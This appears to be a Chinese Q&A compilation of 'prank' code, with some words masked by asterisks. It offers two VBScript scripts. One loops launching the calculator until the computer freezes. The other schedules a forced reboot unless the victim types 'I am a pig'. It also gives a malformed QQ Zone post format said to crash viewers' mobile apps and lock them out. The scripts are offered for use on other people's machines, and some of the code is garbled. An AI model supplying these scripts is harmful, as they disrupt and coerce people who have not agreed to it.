本文目录一览：

• 1、qq装x代码
• 2、 *** 整人软件（要狠一点的）
• 3、现在 *** 流行的整蛊代码 网警33652 是什么搞的
• 4、 *** 整人关机代码

qq装x代码

qq群装x代码复制是可以随时分享好玩的一些恶搞的代码，让大家都可以和好友有一个可以分享的社区，都是很有趣的，通过不同的设备进行分享，消息都可以同步可见，很好玩的。

qq群装x代码复制app特色：

1、可以直接使用竖名大全可复制，帮你直接生成竖起来的网名，可以用到各个软件上哦。

2、不管是游戏当中还是社交软件上面都可以，让你成为人群中最靓的那个崽，还有很多特殊符号大家可以关注一下。

qq群装x代码复制功能：

1、一键可以生成能召唤火影忍者的代码，非常的炫酷点击进去就有对应的代码。

2、如果是不热门的代码，回到主页，点击自己喜欢的代码即可。

软件点评：

1、这个工具的功能也是比较有意思和强大的，你可以自由的选择的。

2、可以让用户直接能拥有各种功能代码的生成器软件。

*** 整人软件（要狠一点的）

1、上八目妖有。2、自制一点击就出现无数个计算器，直到死机为止。在记事本里输入，最后把扩展名改成VBS得那种。

Dim objws

Set objws=wscript.createobject("wscript.shell")

Do

objws.Run "calc"

Loop

整人小程序：说我是猪就不关机

程序, 整人

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""快说“我是猪”，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,true

dim a

do while(a "我是猪")

a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd.exe /c shutdown -a",0 ,true

msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真过瘾"

msgbox chr(13) + chr(13) + chr(13) + "乖孩子真听话啊"

msgbox chr(13) + chr(13) + chr(13) + "下次叔叔买糖给你吃"

msgbox chr(13) + chr(13) + chr(13) + "要吃什么糖啊"

msgbox chr(13) + chr(13) + chr(13) + "什么，大白兔？"

msgbox chr(13) + chr(13) + chr(13) + "不行，不行，大白兔吃了长石头啊"

msgbox chr(13) + chr(13) + chr(13) + "要不叔叔给你讲个故事"

msgbox chr(13) + chr(13) + chr(13) + "从前有个山"

msgbox chr(13) + chr(13) + chr(13) + "山里有个庙"

msgbox chr(13) + chr(13) + chr(13) + "庙里有个老和尚"

msgbox chr(13) + chr(13) + chr(13) + "老和尚在给小和尚讲故事"

msgbox chr(13) + chr(13) + chr(13) + "讲什么故事呢"

msgbox chr(13) + chr(13) + chr(13) + "故事是这样的"

msgbox chr(13) + chr(13) + chr(13) + "从前有个山"

msgbox chr(13) + chr(13) + chr(13) + "山里有个庙"

msgbox chr(13) + chr(13) + chr(13) + "庙里有个老和尚"

msgbox chr(13) + chr(13) + chr(13) + "什么，不听了"

msgbox chr(13) + chr(13) + chr(13) + "别哭别哭，叔叔给你买糖！"

复制代码一个整人的小代码，“说我是猪就不关机”

把上面的代码复制到记事本里，把后缀名改成.VBE

现在 *** 流行的整蛊代码 网警33652 是什么搞的

*** 空间最新整人BUG *** 空间说说整人BUG代码。一个最新的 *** 空间BUG，可以让别人手机看到你的说说以后闪退，并且手机 *** 空间进不去！卸载重装也没有办法，只有你本人能解除。大家是不是很想知道，现在小编就来告诉大家怎么设置。 *** 空间最新整人BUG *** 空间说说整人BUG代码：整人 *** ： 1、手机编辑说说格式如下： {uin:数字或,nick数字或文字,who:1} 举个列子：小编的整人说说2、发表这个说说 注意：也可以电脑发这个说说 然后别人用手机看到你的说说就会闪退啦，并且再也打不开，她会求你给她解锁的.... 解除 *** ： 注意这个 *** 会使你自己的 *** 空间也不能看动态，你要用电脑登陆 *** 空间，删除这条说说！只有这个 *** 能解除！ 这就是小编跟大家带来的 *** 空间最新整人BUG， *** 空间说说整人BUG代码。

*** 整人关机代码

转自： on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 120 -c ""说你是猪，快说你是猪不说20秒关你机，不信，试试···"" ",0 ,true dim a do while(a "我是猪") a = inputbox ("说你是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛" dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd.exe /c shutdown -a",0 ,true msgbox chr(13) + chr(13) + chr(13) + "嘿嘿 真是猪！ 气死你 小样！！"

求采纳